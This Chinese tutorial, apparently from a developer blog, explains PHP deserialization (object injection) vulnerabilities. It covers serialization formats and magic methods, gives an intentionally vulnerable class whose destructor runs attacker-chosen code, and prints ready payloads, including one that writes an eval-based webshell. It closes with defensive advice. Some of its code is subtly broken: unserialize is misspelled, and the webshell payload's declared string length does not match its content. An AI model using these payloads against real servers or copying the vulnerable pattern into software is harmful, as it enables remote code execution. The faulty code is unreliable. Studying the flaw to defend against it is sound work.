详解PHP反序列化漏洞原理与利用示例

小石头
小石头
发布时间:2026-10-15| 6人浏览过
原创

PHP反序列化漏洞(又称对象注入)源于程序未对用户输入的序列化字符串进行有效校验,导致攻击者能够控制反序列化过程。本文将深入剖析其底层原理、魔术函数机制,并通过实际代码演示如何构造Payload触发恶意逻辑,帮助您直观理解该漏洞的危害。

核心概念:序列化与反序列化

在深入漏洞之前,需理解基础的数据转换机制。序列化(Serialization)是将对象状态转换为可传输的字符串过程,而反序列化(Unserialization)则是将其还原为对象实例。

属性序列化规则:

  • public 属性:直接存储属性名和值。
  • protected 属性:序列化时在属性名前后各添加一个 \0(空字符),即 *\0保护类名\0属性名,长度相应增加。
  • private 属性:序列化时为 \0类名\0属性名,长度增加类名长度加2。

反序列化时,系统会根据序列化字符串中的类型标识(如 O:4:"demo" 表示对象,长度为4,类名为demo)重建对象,此时若存在特定魔术方法定义,便会自动执行相关逻辑。

关键驱动:PHP魔术函数

反序列化漏洞的核心在于魔术方法的自动触发。以下是与序列化及对象生命周期密切相关的几个关键魔术函数:

  • __construct():类的构造函数,创建新对象时调用。
  • __destruct():析构函数,当对象被销毁或脚本结束时自动执行。
  • __wakeup():反序列化操作发生时立即调用。
  • __sleep():在执行 serialize() 前调用,常用于清理数据或指定需序列化的属性。
  • __call() / __get() / __set():分别处理不可访问方法的调用、属性的读取和写入时的拦截。
  • __toString():当对象被当作字符串使用时调用。

序列化数据结构示意:

PHP反序列化漏洞详解

漏洞成因与触发条件

该漏洞的本质是unserialize()函数的参数可控。如果直接将用户输入(如GET/POST参数、Cookie)传递给 unserialize(),且代码中存在定义了危险魔术方法的类,攻击者即可构造特定的序列化字符串来劫持程序逻辑。

触发该漏洞通常需要满足以下条件:

  1. 入口点可控: unserialize($data) 中的 $data 来源于用户输入。
  2. 存在可利用的类: 目标环境中引入了包含魔术方法的类文件(或通过自动加载引入)。
  3. 存在危险逻辑: 类中的魔术方法(如 __destruct, __wakeup)内部调用了可执行函数(如 system(), eval(), assert() 等)。

实战示例与Payload构造

以下示例展示了一个存在反序列化漏洞的基础场景。代码定义了一个 demo 类,在析构函数中使用了 assert() 执行变量内容。

<?php
class demo {
    public $name;
    public $age;

    function __destruct() {
        // 危险操作:使用 assert 执行 name 的值,参数为 age
        $a = $this->name;
        $a($this->age);
    }
}

// 正常的序列化输出示例(仅用于观察结构)
$h = new demo();
// echo serialize($h); 

// 漏洞点:直接使用用户输入的 GET 参数进行反序列化
if (isset($_GET['h'])) {
    unserialze($_GET['h']);
}
?>

分析利用过程:

当脚本结束或调用 unserialize 后,对象不再被引用时会触发 __destruct()。为了达到任意代码执行目的,我们需要构造一个序列化字符串,使得:

  • $this->name 的值为 'assert'(PHP的一个内建函数,会将传入字符串作为代码执行)。
  • $this->age 的值为待执行的代码,例如 'phpinfo()' 或 Webshell 写入代码。

Payload 构造结果:

针对上述代码,构造的 Payload 如下(适用于触发 __destruct 或 __wakeup):

// 基本命令执行 Payload
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}

// Webshell 写入 Payload
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST[cmd]);?>');";}

将上述字符串拼接在 URL 中(如 ?h=O:4:"demo":2:...)发送给服务器,当页面加载完毕触发析构时,即可执行对应的 PHP 代码。

漏洞利用执行流程验证:

原理解析:为何会自动执行?

在上面的示例中,我们并未手动调用 __destruct()。这是因为 __destruct() 是 PHP 对象的析构函数,它会在对象生命周期结束时由引擎自动调用。在反序列化场景中,如果序列化数据包含了类定义,反序列化后生成的对象在后续执行流结束后会被垃圾回收,从而激活析构逻辑。此外,若在类中定义了 __wakeup(),则会在 unserialize() 成功返回后立即执行,这通常用于资源初始化,但也可能被攻击者用于提前触发逻辑。

完整的序列化-反序列化交互示意图:

总结与防御建议

PHP反序列化漏洞的危险性在于其隐蔽性和强大的执行能力。它不依赖传统的SQL注入或XSS技巧,而是利用了面向对象编程的特性。

防御措施:

  1. 避免反序列化用户输入: 尽量不在 unserialize() 中使用不可信的数据来源。
  2. 限制序列化数据源: 如果必须反序列化,确保数据来源可信,或使用白名单机制。
  3. 关闭危险函数: 在 php.ini 中禁用 assert 等高风险函数(视具体业务而定)。
  4. 重写魔术方法: 在类中重写 __wakeup() 方法,检查序列化数据中的类型或数量,若不合法则抛出异常或清空变量(注意:新版 PHP 对 __wakeup 的限制有所变化,需结合版本特性考虑)。

以上就是PHP反序列化漏洞的详细原理与利用示例,更多关于PHP安全知识及技术趋势的资料请关注本站其它相关文章!

相关标签:

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。